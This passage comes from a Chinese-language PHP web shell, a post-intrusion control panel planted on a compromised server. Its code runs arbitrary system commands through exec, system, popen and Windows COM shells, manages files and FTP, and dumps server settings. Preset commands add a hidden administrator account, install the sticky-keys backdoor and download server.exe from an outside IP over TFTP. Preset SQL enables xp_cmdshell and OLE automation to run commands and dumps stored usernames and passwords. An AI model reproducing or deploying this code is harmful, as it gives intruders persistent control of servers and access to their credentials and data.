ob_flush(); flush(); } } else { $File_code = File_Read($Filepath); if(stristr($File_code,$sfc)) { echo '&lt;a target=&quot;_blank&quot; href=&quot;?s=p&amp;fp='.urlencode($sfp).'&amp;fn='.urlencode($Filename).'&quot;&gt; '.$Filepath.' &lt;/a&gt;&lt;br&gt;'.&quot;\r\n&quot;; ob_flush(); flush(); } } } @closedir($h_d); return true; } function Findfile_j() { if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo '&lt;font style=font:11pt color=ff0000&gt;删除成功&lt;/font&gt;';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? '&lt;font style=font:11pt color=ff0000&gt;删除成功&lt;/font&gt;' : '&lt;font style=font:11pt color=ff0000&gt;删除失败&lt;/font&gt;';} return false;} if((!empty($_GET['fp'])) &amp;&amp; (!empty($_GET['fn'])) &amp;&amp; (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; } $SCAN_DIR = isset($_POST['sfp']) ? $_POST['sfp'] : File_Mode(); $SCAN_CODE = isset($_POST['sfc']) ? $_POST['sfc'] : 'config'; $SCAN_TYPE = isset($_POST['sft']) ? $_POST['sft'] : '.mp3|.mp4|.avi|.swf|.jpg|.gif|.png|.bmp|.gho|.rar|.exe|.zip'; print&lt;&lt;&lt;END
&lt;form method=&quot;POST&quot; name=&quot;jform&quot; id=&quot;jform&quot; action=&quot;?s=u&quot;&gt;
&lt;div class=&quot;actall&quot;&gt;扫描路径 &lt;input type=&quot;text&quot; name=&quot;sfp&quot; value=&quot;{$SCAN_DIR}&quot; style=&quot;width:600px;&quot;&gt;&lt;/div&gt;
&lt;div class=&quot;actall&quot;&gt;&amp;nbsp过滤文件&amp;nbsp &lt;input type=&quot;text&quot; name=&quot;sft&quot; value=&quot;{$SCAN_TYPE}&quot; style=&quot;width:600px;&quot;&gt;&lt;/div&gt;
&lt;div class=&quot;actall&quot;&gt;关键字串 &lt;input type=&quot;text&quot; name=&quot;sfc&quot; value=&quot;{$SCAN_CODE}&quot; style=&quot;width:395px;&quot;&gt;
&lt;input type=&quot;radio&quot; name=&quot;sff&quot; value=&quot;a&quot; checked&gt;搜索文件名 
&lt;input type=&quot;radio&quot; name=&quot;sff&quot; value=&quot;b&quot;&gt;搜索包含关键字&lt;/div&gt;
&lt;div class=&quot;actall&quot; style=&quot;height:50px;&quot;&gt;&lt;input type=&quot;radio&quot; name=&quot;sfb&quot; value=&quot;a&quot; checked&gt;将搜索应用于该文件夹,子文件夹和文件 

&lt;br&gt;&lt;input type=&quot;radio&quot; name=&quot;sfb&quot; value=&quot;b&quot;&gt;仅将搜索应用于该文件夹&lt;/div&gt;
&lt;div class=&quot;actall&quot;&gt;&lt;input class=&quot;bt&quot; type=&quot;submit&quot; value=&quot;开始扫描&quot; style=&quot;width:80px;&quot;&gt;&lt;/div&gt;
&lt;/form&gt;
END;
if((!empty($_POST['sfp'])) &amp;&amp; (!empty($_POST['sfc']))) { echo '&lt;div class=&quot;actall&quot;&gt;'; $_POST['sft'] = str_replace('.','\\.',$_POST['sft']); $sff = ($_POST['sff'] == 'a') ? true : false; $sfb = ($_POST['sfb'] == 'a') ? true : false; echo Findfile_Auto($_POST['sfp'],$_POST['sfc'],$_POST['sft'],$sff,$sfb) ? '&lt;font style=font:11pt color=ff0000&gt;成功&lt;/font&gt;' : '&lt;font style=font:11pt color=ff0000&gt;Error&lt;/font&gt;'; echo '&lt;/div&gt;'; } return true; } function filecollect($dir,$filelist) { $files = ftp_nlist($conn,$dir); return $files; } function ftp_php(){ $dir = &quot;&quot;; $ftphost = isset($_POST['ftphost']) ? $_POST['ftphost'] : '127.0.0.1'; $ftpuser = isset($_POST['ftpuser']) ? $_POST['ftpuser'] : 'root'; $ftppass = isset($_POST['ftppass']) ? $_POST['ftppass'] : 'root'; $ftplist = isset($_POST['list']) ? $_POST['list'] : ''; $ftpfolder = isset($_POST['ftpfolder']) ? $_POST['ftpfolder'] : '/'; $ftpfolder = strtr($ftpfolder,&quot;\\&quot;,&quot;/&quot;); $files = isset($_POST['readfile']) ? $_POST['readfile'] : ''; print&lt;&lt;&lt;END
&lt;br&gt;&lt;br&gt;&lt;div class=&quot;actall&quot;&gt;&lt;h5&gt;用PHP链接ftp服务&lt;/h5&gt;&lt;br&gt;&lt;/div&gt;
&lt;form method=&quot;POST&quot; name=&quot;&quot; action=&quot;&quot;&gt;&lt;br&gt;
&lt;div class=&quot;actall&quot;&gt;主机:&lt;input type=&quot;text&quot; name=&quot;ftphost&quot; value=&quot;{$ftphost}&quot; style=&quot;width:100px&quot;&gt;
用户:&lt;input type=&quot;text&quot; name=&quot;ftpuser&quot; value=&quot;{$ftpuser}&quot; style=&quot;width:100px&quot;&gt;
密码:&lt;input type=&quot;text&quot; name=&quot;ftppass&quot; value=&quot;{$ftppass}&quot; style=&quot;width:100px&quot;&gt;&lt;br&gt;&lt;br&gt;
&lt;input type=&quot;hidden&quot; name=&quot;readfile&quot; value=&quot;&quot; style=&quot;width:200px&quot;&gt;
文件夹:&lt;input type=&quot;text&quot; name=&quot;ftpfolder&quot; value=&quot;{$ftpfolder}&quot; style=&quot;width:200px&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;list&quot; value=&quot;list&quot;&gt;
&lt;input class=&quot;bt&quot; type=&quot;submit&quot; name=&quot;list&quot; value=&quot;浏览&quot; style=&quot;width:40px&quot;&gt;&lt;br&gt;&lt;br&gt;&lt;/form&gt;&lt;/div&gt;
END;
if($ftplist == 'list'){ $conn = @ftp_connect($ftphost) or die(&quot;不能链接ftp服务&quot;); if(@ftp_login($conn,$ftpuser,$ftppass)){ $filelists = @ftp_nlist( $conn, $ftpfolder ); echo &quot;&lt;pre&gt;&quot;; echo &quot;当前目录是 &lt;font color='#FF0000'&gt;$ftpfolder&lt;/font&gt;:&lt;br&gt;&quot;; if(is_array($filelists)) { foreach ($filelists as $file) { $file = strtr($file,&quot;\\&quot;,&quot;/&quot;); $size_file =@ftp_size($conn, $file); if ( $size_file == -1) { $a=$a.basename($file).&quot;&lt;br&gt;&quot;; } else { $b=$b.basename($file).&quot;				&quot;.$size_file.&quot;B&lt;/br&gt;&quot;; } } } echo $a; echo $b; echo &quot;&lt;/pre&gt;&quot;; } } print&lt;&lt;&lt;END
&lt;form method=&quot;POST&quot; name=&quot;&quot; action=&quot;&quot; &gt;
&lt;div class=&quot;actall&quot;&gt;文件名:&lt;input type=&quot;text&quot; name=&quot;readfile&quot; value=&quot;{$files}&quot; style=&quot;width:200px&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;read&quot; value=&quot;read&quot;&gt;
&lt;input class=&quot;bt&quot; type=&quot;submit&quot; name=&quot;read&quot; value=&quot;读取&quot; style=&quot;width:40px&quot;&gt;&lt;br&gt;&lt;br&gt;&lt;/form&gt;&lt;/div&gt;
END;
$readaction = isset($_POST['read']) ? $_POST['read'] : ''; if ($readaction == 'read') { $handle = @file_get_contents(&quot;ftp://$ftpuser:$ftppass@$ftphost/$files&quot;, &quot;r&quot;); $handle = htmlspecialchars($handle); $handle = str_replace(&quot;\n&quot;, &quot;&lt;br&gt;&quot;, $handle); echo &quot;&lt;font color='#FF0000'&gt;$files&lt;/font&gt; 内容是:&lt;br&gt;&lt;br&gt;&quot;; echo $handle; } print&lt;&lt;&lt;END
&lt;form method=&quot;post&quot; enctype=&quot;multipart/form-data&quot; name=&quot;&quot; action=&quot;&quot;&gt;
&lt;div class=&quot;actall&quot;&gt;文件夹:&lt;input type=&quot;text&quot; name=&quot;cdir&quot; value=&quot;{$cdir}&quot; style=&quot;width:100px&quot;&gt;
&lt;input type=&quot;file&quot; name=&quot;upload&quot; value=&quot;upload&quot; style=&quot;width:200px;height:22px;&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;upfile&quot; value=&quot;upfile&quot;&gt;
&lt;input class=&quot;bt&quot; type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;上传&quot; style=&quot;width:40px&quot;&gt;&lt;br&gt;&lt;br&gt;&lt;/form&gt;&lt;/div&gt;
END;
$upaction = isset($_POST['upfile']) ? $_POST['upfile'] : '' ; if ($upaction == 'upfile') { $cdir = isset($_POST['cdir']) ? $_POST['cdir'] : '/'; $conn = @ftp_connect($ftphost) or die(&quot;不能链接ftp服务&quot;); if(@ftp_login($conn,$ftpuser,$ftppass)){ @ftp_chdir($conn, $cdir); $res_code = @ftp_put($conn,$_FILES['upload']['name'],$_FILES['upload']['tmp_name'], FTP_BINARY,0); if (empty($res_code)){ echo '&lt;font color=&quot;#FF67A0&quot;&gt;ftp上传失败&lt;/font&gt;&lt;br&gt;'; } else{ echo '&lt;font color=&quot;#FF67A0&quot;&gt;ftp上传成功&lt;/font&gt;&lt;br&gt;'; } } } print&lt;&lt;&lt;END
&lt;form method=&quot;POST&quot; enctype=&quot;multipart/form-data&quot; name=&quot;&quot; action=&quot;&quot;&gt;
&lt;div class=&quot;actall&quot;&gt;文件路径:&lt;input type=&quot;text&quot; name=&quot;downfile&quot; value=&quot;{$getfile}&quot; style=&quot;width:100px&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;getfile&quot; value=&quot;down&quot;&gt;
&lt;input class=&quot;bt&quot; type=&quot;submit&quot; name=&quot;down&quot; value=&quot;下载&quot; style=&quot;width:40px&quot;&gt;&lt;br&gt;&lt;br&gt;&lt;/form&gt;&lt;/div&gt;
END;
$getfile = isset($_POST['downfile']) ? $_POST['downfile'] : ''; $getaction = isset($_POST['getfile']) ? $_POST['getfile'] : ''; if ($getaction == 'down' &amp;&amp; $getfile !=''){ function php_ftp_download($filename){ global $ftphost,$ftpuser,$ftppass; $ftp_path = dirname($filename) . &quot;/&quot;; $select_file = basename($filename); $ftp = @ftp_connect($ftphost); if($ftp){ if(@ftp_login($ftp, $ftpuser, $ftppass)){ if(@ftp_chdir($ftp,$ftp_path)) { $tmpfile = tempnam(getcwd(),&quot;temp&quot;); if(ftp_get($ftp,$tmpfile,$select_file,FTP_BINARY)){ ftp_quit($ftp); header(&quot;Content-Type:application/octet-stream&quot;); header(&quot;Content-Disposition:attachment;  filename=&quot; . $select_file); unlink($tmpfile); exit; } } } } ftp_quit($ftp); } php_ftp_download($getfile); } } function Info_Cfg($varname){switch($result = get_cfg_var($varname)){case 0: return &quot;No&quot;; break; case 1: return &quot;Yes&quot;; break; default: return $result; break;}} function Info_Fun($funName){return (false !== function_exists($funName)) ? &quot;Yes&quot; : &quot;No&quot;;} function Info_f() { $dis_func = get_cfg_var(&quot;disable_functions&quot;); $upsize = get_cfg_var(&quot;file_uploads&quot;) ? get_cfg_var(&quot;upload_max_filesize&quot;) : &quot;upfile forbidden&quot;; $adminmail = (isset($_SERVER['SERVER_ADMIN'])) ? &quot;&lt;a href=\&quot;mailto:&quot;.$_SERVER['SERVER_ADMIN'].&quot;\&quot;&gt;&quot;.$_SERVER['SERVER_ADMIN'].&quot;&lt;/a&gt;&quot; : &quot;&lt;a href=\&quot;mailto:&quot;.get_cfg_var(&quot;sendmail_from&quot;).&quot;\&quot;&gt;&quot;.get_cfg_var(&quot;sendmail_from&quot;).&quot;&lt;/a&gt;&quot;; if($dis_func == &quot;&quot;){$dis_func = &quot;No&quot;;}else{$dis_func = str_replace(&quot; &quot;,&quot;&lt;br&gt;&quot;,$dis_func);$dis_func = str_replace(&quot;,&quot;,&quot;&lt;br&gt;&quot;,$dis_func);} $phpinfo = (!eregi(&quot;phpinfo&quot;,$dis_func)) ? &quot;Yes&quot; : &quot;No&quot;; $info = array( array(&quot;服务器时间&quot;,date(&quot;Y-m-d h:i:s&quot;,time())), array(&quot;服务器域名&quot;,&quot;&lt;a href=\&quot;http://&quot;.$_SERVER['SERVER_NAME'].&quot;\&quot; target=\&quot;_blank\&quot;&gt;&quot;.$_SERVER['SERVER_NAME'].&quot;&lt;/a&gt;&quot;), array(&quot;服务器IP地址&quot;,gethostbyname($_SERVER['SERVER_NAME'])), array(&quot;服务器操作系统&quot;,PHP_OS), array(&quot;服务器操作系统文字编码&quot;,$_SERVER['HTTP_ACCEPT_LANGUAGE']), array(&quot;服务器解译引擎&quot;,$_SERVER['SERVER_SOFTWARE']), array(&quot;你的IP&quot;,getenv('REMOTE_ADDR')), array(&quot;Web服务端口&quot;,$_SERVER['SERVER_PORT']), array(&quot;PHP运行方式&quot;,strtoupper(php_sapi_name())), array(&quot;PHP版本&quot;,PHP_VERSION), array(&quot;运行于安全模式&quot;,Info_Cfg(&quot;safemode&quot;)), array(&quot;服务器管理员&quot;,$adminmail), array(&quot;本文件路径&quot;,__FILE__), array(&quot;允许使用 URL 打开文件 allow_url_fopen&quot;,Info_Cfg(&quot;allow_url_fopen&quot;)), array(&quot;允许动态加载链接库 enable_dl&quot;,Info_Cfg(&quot;enable_dl&quot;)), array(&quot;显示错误信息 display_errors&quot;,Info_Cfg(&quot;display_errors&quot;)), array(&quot;自动定义全局变量 register_globals&quot;,Info_Cfg(&quot;register_globals&quot;)), array(&quot;magic_quotes_gpc&quot;,Info_Cfg(&quot;magic_quotes_gpc&quot;)), array(&quot;程序最多允许使用内存量 memory_limit&quot;,Info_Cfg(&quot;memory_limit&quot;)), array(&quot;POST最大字节数 post_max_size&quot;,Info_Cfg(&quot;post_max_size&quot;)), array(&quot;允许最大上传文件 upload_max_filesize&quot;,$upsize), array(&quot;程序最长运行时间 max_execution_time&quot;,Info_Cfg(&quot;max_execution_time&quot;).&quot;second&quot;), array(&quot;被禁用的函数 disable_functions&quot;,$dis_func), array(&quot;phpinfo()&quot;,$phpinfo), array(&quot;目前还有空余空间diskfreespace&quot;,intval(diskfreespace(&quot;.&quot;) / (1024 * 1024)).'Mb'), array(&quot;图形处理 GD Library&quot;,Info_Fun(&quot;imageline&quot;)), array(&quot;IMAP电子邮件系统&quot;,Info_Fun(&quot;imap_close&quot;)), array(&quot;MySQL数据库&quot;,Info_Fun(&quot;mysql_close&quot;)), array(&quot;SyBase数据库&quot;,Info_Fun(&quot;sybase_close&quot;)), array(&quot;Oracle数据库&quot;,Info_Fun(&quot;ora_close&quot;)), array(&quot;Oracle 8 数据库&quot;,Info_Fun(&quot;OCILogOff&quot;)), array(&quot;PREL相容语法 PCRE&quot;,Info_Fun(&quot;preg_match&quot;)), array(&quot;PDF文档支持&quot;,Info_Fun(&quot;pdf_close&quot;)), array(&quot;Postgre SQL数据库&quot;,Info_Fun(&quot;pg_close&quot;)), array(&quot;SNMP网络管理协议&quot;,Info_Fun(&quot;snmpget&quot;)), array(&quot;压缩文件支持(Zlib)&quot;,Info_Fun(&quot;gzclose&quot;)), array(&quot;XML解析&quot;,Info_Fun(&quot;xml_set_object&quot;)), array(&quot;FTP&quot;,Info_Fun(&quot;ftp_login&quot;)), array(&quot;ODBC数据库连接&quot;,Info_Fun(&quot;odbc_close&quot;)), array(&quot;Session支持&quot;,Info_Fun(&quot;session_start&quot;)), array(&quot;Socket支持&quot;,Info_Fun(&quot;fsockopen&quot;)), ); echo '&lt;table width=&quot;100%&quot; border=&quot;0&quot;&gt;'; for($i = 0;$i &lt; count($info);$i++){echo '&lt;tr&gt;&lt;td width=&quot;40%&quot;&gt;'.$info[$i][0].'&lt;/td&gt;&lt;td&gt;'.$info[$i][1].'&lt;/td&gt;&lt;/tr&gt;'.&quot;\n&quot;;} echo '&lt;/table&gt;'; return true; } function Exec_Run($cmd) { $res = ''; if(function_exists('exec')){@exec($cmd,$res);$res = join(&quot;\n&quot;,$res);} elseif(function_exists('shell_exec')){$res = @shell_exec($cmd);} elseif(function_exists('system')){@ob_start();@system($cmd);$res = @ob_get_contents();@ob_end_clean();} elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_contents();@ob_end_clean();} elseif(@is_resource($f = @popen($cmd,&quot;r&quot;))){$res = '';while(!@feof($f)){$res .= @fread($f,1024);}@pclose($f);} return $res; } function Exec_g() { echo '&lt;br&gt;'; $res = '回显窗口'; $cmd = 'dir'; if(!empty($_POST['cmd'])){$res = Exec_Run($_POST['cmd']);$cmd = $_POST['cmd'];} print&lt;&lt;&lt;END
&lt;script language=&quot;javascript&quot;&gt;
function sFull(i){
	Str = new Array(11);
	Str[0] = &quot;ver&quot;;
        Str[1] = &quot;path&quot;;
        Str[2] = &quot;ipconfig /all&quot;;
        Str[3] = &quot;whoami&quot;;
        Str[4] = &quot;tasklist /svc&quot;;
        Str[5] = &quot;netstat -an&quot;;
        Str[6] = &quot;systeminfo&quot;;
	Str[7] = &quot;net user&quot;;
        Str[8] = &quot;net view&quot;;
        Str[9] = &quot;net config workstation&quot;;
        Str[10] = &quot;net config server&quot;;
	Str[11] = &quot;net user b4che10r b4che10r /add &amp; net localgroup administrators b4che10r /add&quot;;
	Str[12] = &quot;query user&quot;;
	Str[13] = &quot;copy c:\\1.php d:\\2.php&quot;;
        Str[14] = &quot;copy c:\\windows\\explorer.exe c:\\windows\\system32\\sethc.exe &amp; copy c:\\windows\\system32\\sethc.exe c:\\windows\\system32\\dllcache\\sethc.exe&quot;;
	Str[15] = &quot;tftp -i 219.134.46.245 get server.exe c:\\\\server.exe&quot;;
        Str[16] = &quot;ps -ef&quot;;
        Str[17] = &quot;ifconfig&quot;;
        Str[18] = &quot;cat /etc/syslog.conf&quot;;
        Str[19] = &quot;cat /etc/my.cnf&quot;;
        Str[20] = &quot;cat /etc/hosts&quot;;
        Str[21] = &quot;cat /etc/services&quot;;
	document.getElementById('cmd').value = Str[i];
	return true;
}
&lt;/script&gt;
&lt;div class=&quot;actall&quot;&gt;&lt;form method=&quot;POST&quot; name=&quot;gform&quot; id=&quot;gform&quot; action=&quot;?s=g&quot;&gt;
命令参数: &lt;input type=&quot;text&quot; name=&quot;cmd&quot; id=&quot;cmd&quot; value=&quot;{$cmd}&quot; style=&quot;width:369px;&quot;&gt;
&lt;select onchange='return sFull(options[selectedIndex].value)'&gt;
&lt;option value=&quot;0&quot; selected&gt;----命令集合----&lt;/option&gt;
&lt;option value=&quot;1&quot;&gt;path(win)&lt;/option&gt;
&lt;option value=&quot;2&quot;&gt;ipconfig(win)&lt;/option&gt;
&lt;option value=&quot;3&quot;&gt;whoami(win)&lt;/option&gt;
&lt;option value=&quot;4&quot;&gt;tasklist(win)&lt;/option&gt;
&lt;option value=&quot;5&quot;&gt;netstat -an&lt;/option&gt;
&lt;option value=&quot;6&quot;&gt;systeminfo(win)&lt;/option&gt;
&lt;option value=&quot;7&quot;&gt;net user(win)&lt;/option&gt;
&lt;option value=&quot;8&quot;&gt;net view(win)&lt;/option&gt;
&lt;option value=&quot;9&quot;&gt;net config workstation(win)&lt;/option&gt;
&lt;option value=&quot;10&quot;&gt;net config server(win)&lt;/option&gt;
&lt;option value=&quot;11&quot;&gt;add administrators(win)&lt;/option&gt;
&lt;option value=&quot;12&quot;&gt;query user(win)&lt;/option&gt;
&lt;option value=&quot;13&quot;&gt;复制文件(win)&lt;/option&gt;
&lt;option value=&quot;14&quot;&gt;shift 后门(win)&lt;/option&gt;
&lt;option value=&quot;15&quot;&gt;FTP 下载(win)&lt;/option&gt;
&lt;option value=&quot;16&quot;&gt;ps(linux)&lt;/option&gt;
&lt;option value=&quot;17&quot;&gt;ifconfig(linux)&lt;/option&gt;
&lt;option value=&quot;18&quot;&gt;syslog.conf(linux)&lt;/option&gt;
&lt;option value=&quot;19&quot;&gt;my.cnf(linux)&lt;/option&gt;
&lt;option value=&quot;20&quot;&gt;hosts(linux)&lt;/option&gt;
&lt;option value=&quot;21&quot;&gt;services(linux)&lt;/option&gt;

&lt;/select&gt;
&lt;input class=&quot;bt&quot; type=&quot;submit&quot; value=&quot;执行&quot; &gt;&lt;/div&gt;
&lt;div class=&quot;actall&quot;&gt;&lt;textarea name=&quot;show&quot; style=&quot;width:720px;height:450px;&quot;&gt;{$res}&lt;/textarea&gt;&lt;/div&gt;
&lt;/form&gt;
END;
return true; } function Com_h() { $object = isset($_GET['o']) ? $_GET['o'] : 'adodb'; $com = array(&quot;adodb&quot; =&gt; &quot;ADODB.Connection&quot;,&quot;wscript&quot; =&gt; &quot;WScript.shell&quot;,&quot;application&quot; =&gt; &quot;Shell.Application&quot;); print&lt;&lt;&lt;END
&lt;div class=&quot;actall&quot;&gt;&lt;a href=&quot;?s=h&amp;o=adodb&quot;&gt;[ADODB.Connection]&lt;/a&gt; 
&lt;a href=&quot;?s=h&amp;o=wscript&quot;&gt;[WScript.shell]&lt;/a&gt; 
&lt;a href=&quot;?s=h&amp;o=application&quot;&gt;[Shell.Application]&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;actall&quot; style=&quot;height:200px;&quot;&gt;
&lt;form method=&quot;POST&quot; name=&quot;hform&quot; id=&quot;hform&quot; action=&quot;?s=h&amp;o={$object}&quot;&gt;&lt;br&gt;
END;
$shell = new COM($com[$object]); if($object == 'wscript') { $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'dir'; $cmdpath = isset($_POST['cmdpath']) ? $_POST['cmdpath'] : 'c:\\windows\\system32\\cmd.exe'; print&lt;&lt;&lt;END
&amp;nbspcmd路径:&lt;input type=&quot;text&quot; name=&quot;cmdpath&quot; value=&quot;{$cmdpath}&quot; style=&quot;width:600px;&quot;&gt;&lt;br&gt;
&amp;nbspcmd命令:&lt;input type=&quot;text&quot; name=&quot;cmd&quot; value=&quot;{$cmd}&quot; style=&quot;width:600px;&quot;&gt;
&lt;input class=&quot;bt&quot; type=&quot;submit&quot; value=&quot;执行&quot;&gt;&lt;/form&gt;&lt;br&gt;
END;
if(!empty($_POST['cmd'])) { $exe = @$shell-&gt;exec(&quot;$cmdpath /c &quot;.$cmd); $out = $exe-&gt;StdOut(); $output = $out-&gt;ReadAll(); echo '&lt;pre&gt;'.$output.'&lt;/pre&gt;'; } } elseif($object == 'application') { $run = isset($_POST['run']) ? $_POST['run'] : 'cmd.exe'; $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'copy c:\windows\php.ini c:\php.ini'; print&lt;&lt;&lt;END
程序路径:&lt;br&gt;&lt;input type=&quot;text&quot; name=&quot;run&quot; value=&quot;{$run}&quot; style=&quot;width:600px;&quot;&gt;
&lt;br&gt;&lt;br&gt;命令参数:&lt;br&gt;&lt;input type=&quot;text&quot; name=&quot;cmd&quot; value=&quot;{$cmd}&quot; style=&quot;width:600px;&quot;&gt;
&lt;br&gt;&lt;br&gt;&lt;input class=&quot;bt&quot; type=&quot;submit&quot; value=&quot;执行&quot;&gt;&lt;/form&gt;&lt;br&gt;
END;
if(!empty($_POST['run'])) echo (@$shell-&gt;ShellExecute($run,'/c '.$cmd) == '0') ? '成功' : 'Faild'; } elseif($object == 'adodb') { $string = isset($_POST['string']) ? $_POST['string'] : ''; $sql = isset($_POST['sql']) ? $_POST['sql'] : ''; print&lt;&lt;&lt;END
&lt;script language=&quot;javascript&quot;&gt;
function hFull(i){
	if(i==0 || i==10) return false;
	Str = new Array(12);  
	Str[1] = &quot;Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\db.mdb;Jet OLEDB:Database Password=***&quot;;
	Str[2] = &quot;Driver={Sql Server};Server=localhost,1433;Database=DbName;Uid=sa;Pwd=sa&quot;;
	Str[3] = &quot;Driver={MySql};Server=localhost;Port=3306;Database=DbName;Uid=root;Pwd=root&quot;;
	Str[4] = &quot;Provider=OraOLEDB.Oracle.1;User ID=oracle;Password=oracle;Data Source=ORACLE;Persist Security Info=True;&quot;;
        Str[5] = &quot;driver={IBM db2 odbc DRIVER};database=mydb;hostname=localhost;port=50000;protocol=TCPIP;uid=root; pwd=pass&quot;;
        Str[6] = &quot;DRIVER={POSTGRESQL};SERVER=127.0.0.1;DATABASE=PostGreSQL;UID=postgresql;PWD=123456;&quot;;
        Str[7] = &quot;Dsn='';Driver={INFORMIX 3.30 32 BIT};Host=myHostname;Server=myServerName;Service=myServiceName;Protocol=olsoctcp;Database=myDbName;UID=myUsername;PWD=myPassword&quot;;
	Str[8] = &quot;DSN=mydns;Uid=username;Pwd=password&quot;;
        Str[9] = &quot;FILEDNS=c:\\\path\\\db.dsn;Uid=username;Pwd=password&quot;;
        Str[11] = &quot;SELECT * FROM [TableName] WHERE ID&lt;100&quot;;
	Str[12] = &quot;INSERT INTO [TableName](USER,PASS) VALUES('b4che10r','mypass')&quot;;
	Str[13] = &quot;UPDATE [TableName] SET USER='b4che10r' WHERE ID=100&quot;;
	Str[14] = &quot;CREATE TABLE [TableName](ID INT IDENTITY (1,1) NOT NULL,USER VARCHAR(50))&quot;;
	Str[15] = &quot;DROP TABLE [TableName]&quot;;
	Str[16] = &quot;ALTER TABLE [TableName] ADD COLUMN PASS VARCHAR(32)&quot;;
        Str[17] = &quot;select shell('c:\windows\system32\cmd.exe /c net user b4che10r abc123 /add');&quot;;
        Str[18] = &quot;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;&quot;;
        Str[19] = &quot;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;&quot;;
        Str[20] = &quot;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;&quot;;
        Str[21] = &quot;Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll')&quot;;
        Str[22] = &quot;Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll')&quot;;
        Str[23] = &quot;Declare @s  int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo '&lt;?php phpinfo();?&gt;' &gt; c:\info.php';&quot;;
	Str[24] = &quot;sp_makewebtask @outputfile='d:\\\web\\\test.php',@charset=gb2312,@query='select test';&quot;;
        Str[25] = &quot;Exec master.dbo.xp_cmdshell 'ver';&quot;;
        Str[26] = &quot;Select Name FROM Master..SysDatabases;&quot;;
        Str[27] = &quot;select name from sysobjects where type='U';&quot;;
        Str[28] = &quot;Select Name from SysColumns Where id=Object_Id('TableName');&quot;;
        Str[29] = &quot;select username,password from dba_users;&quot;;
        Str[30] = &quot;select TABLE_NAME from all_tables;&quot;;
        Str[31] = &quot;desc admin;&quot;;
        Str[32] = &quot;grant connect,resource,dba to user_name;&quot;;
        Str[33] = &quot;select datname from pg_database;&quot;;
        Str[34] = &quot;select relname from pg_stat_user_tables;&quot;;
        Str[35] = &quot;\\\d table_name&quot;;
        Str[36] = &quot;select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));&quot;;
        Str[37] = &quot;\\\! uname -a&quot;;
        Str[38] = &quot;select schemaname from syscat.schemata;&quot;;
        Str[39] = &quot;select name from sysibm.systables;&quot;;
        Str[40] = &quot;select colname from syscat.columns where tabname='table_name';&quot;;
        Str[41] = &quot;db2 get db cfg for db_name;&quot;;
        Str[42] = &quot;select name from sysdatabases;&quot;;
        Str[43] = &quot;select tabname from systables where tabid=n;&quot;;
        Str[44] = &quot;select tabname,colname,owner,coltype from syscolumns join systables on syscolumns.tabid = systables.tabid;&quot;;
        Str[45] = &quot;select username,usertype,password from sysusers;&quot;;
        if(i&lt;=9){document.getElementById('string').value = Str[i];}else{document.getElementById('sql').value = Str[i];}
	return true;
}
&lt;/script&gt;
连接字符串:&lt;br&gt; &lt;input type=&quot;text&quot; name=&quot;string&quot; id=&quot;string&quot; value=&quot;{$string}&quot; style=&quot;width:800px;&quot;&gt;
&lt;select onchange=&quot;return hFull(options[selectedIndex].value)&quot;&gt;
&lt;option value=&quot;0&quot; selected&gt;--链接实例--&lt;/option&gt;
&lt;option value=&quot;1&quot;&gt;Access连接&lt;/option&gt;
&lt;option value=&quot;2&quot;&gt;MsSql连接&lt;/option&gt;
&lt;option value=&quot;3&quot;&gt;MySql连接&lt;/option&gt;
&lt;option value=&quot;4&quot;&gt;Oracle连接&lt;/option&gt;
&lt;option value=&quot;5&quot;&gt;DB2连接&lt;/option&gt;
&lt;option value=&quot;6&quot;&gt;PostGreSQL连接&lt;/option&gt;
&lt;option value=&quot;7&quot;&gt;Informix连接&lt;/option&gt;
&lt;option value=&quot;8&quot;&gt;DSN连接&lt;/option&gt;
&lt;option value=&quot;9&quot;&gt;FILEDSN连接&lt;/option&gt;
&lt;option value=&quot;10&quot;&gt;--sql语句--&lt;/option&gt;
&lt;option value=&quot;11&quot;&gt;显示数据&lt;/option&gt;
&lt;option value=&quot;12&quot;&gt;插入数据&lt;/option&gt;
&lt;option value=&quot;13&quot;&gt;修改数据&lt;/option&gt;
&lt;option value=&quot;14&quot;&gt;创建表&lt;/option&gt;
&lt;option value=&quot;15&quot;&gt;删除表&lt;/option&gt;
&lt;option value=&quot;16&quot;&gt;增加字段&lt;/option&gt;
&lt;option value=&quot;17&quot;&gt;access shell()&lt;/option&gt;
&lt;option value=&quot;18&quot;&gt;add xp_cmdsehll(sql2005)&lt;/option&gt;
&lt;option value=&quot;19&quot;&gt;add oacreate(sql2005)&lt;/option&gt;
&lt;option value=&quot;20&quot;&gt;add openrowset(sql2005)&lt;/option&gt;
&lt;option value=&quot;21&quot;&gt;add xp_cmdsehll(sql2000)&lt;/option&gt;
&lt;option value=&quot;22&quot;&gt;add oacreate(sql2000)&lt;/option&gt;
&lt;option value=&quot;23&quot;&gt;oamethod exec&lt;/option&gt;
&lt;option value=&quot;24&quot;&gt;sp_makewebtask&lt;/option&gt;
&lt;option value=&quot;25&quot;&gt;xp_cmdshell&lt;/option&gt;
&lt;option value=&quot;26&quot;&gt;databases(sql)&lt;/option&gt;
&lt;option value=&quot;27&quot;&gt;tables(sql)&lt;/option&gt;
&lt;option value=&quot;28&quot;&gt;columns(sql)&lt;/option&gt;
